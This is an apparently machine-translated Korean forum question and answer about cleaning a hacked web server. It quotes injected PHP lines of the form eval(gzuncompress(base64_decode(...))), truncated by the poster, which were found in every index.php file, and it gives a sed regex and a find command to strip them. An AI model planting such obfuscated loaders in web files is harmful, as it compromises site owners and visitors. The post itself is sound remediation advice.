해커가 웹 서버에 침입하여 다음 문자열을 추가했습니다. (보안상의 이유로 일부 문자가 제거되었습니다.개행 문자 추가가독성을 위해) 모든 index.php
파일에서:
<?php
eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDGGMV4+1dSwqSqzU0LQGAJCPCMM=')));
eval(gzuncompress(base64_decode('eF5LK81LLsnMzKx+JjNW0rgUAqDUUxQ==')));
eval(gzuncompress(base64_decode('eF6VlMmy/3sMxOez/iJOojHFT0Ig/8jlTymmN/I=')));
?>
나는 sed
명령을 사용하여 그것을 제거하려고 시도했지만(다른 것으로 대체) 그렇게 큰 문자열로 유효한 정규식을 정의하는 것은 거의 불가능합니다.
.txt 파일에서 문자열을 읽는 것과 같은 다른 방법이 있습니까?
답변1
이러한 트릭을 어디에서나 사용하지 않는다고 가정하면 이렇게 해보는 것은 어떨까요? ( sed -i
및 Maybe 를 사용하여 올바르게 수행하는 find -exec ...
것은 질문의 일부가 아닙니다. 그렇죠?)
$ sed 's/eval(gzuncompress(base64_decode(.*)));//' << EOF
> <?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDGGMV4+1dSwqSqzU0LQGAJCPCMM=')));eval(gzuncompress(base64_decode('eF5LK81LLsnMzKx+JjNW0rgUAqDUUxQ=='))); eval(gzuncompress(base64_decode('eF6VlMmy/3sMxOez/iJOojHFT0Ig/8jlTymmN/I=')));?>
> EOF
<?php ?>
...나중에 빈 s를 처리할 수 있습니다 <?php ?>
(별로 아프지 않죠?).
편집하다설명된 상황에 맞는지 확인하려면 개행 문자를 제거하세요.
편집 2모든 것을 (좋은 것으로 알려진) 백업(있는 경우).
편집 3방금 "모든 index.php 파일" 비트를 확인했습니다. 그래서 당신은 다음과 같은 것을 시도해 볼 수 있습니다
find /path/to/wwwroot -name "index.php" -exec sed -i regex {} \;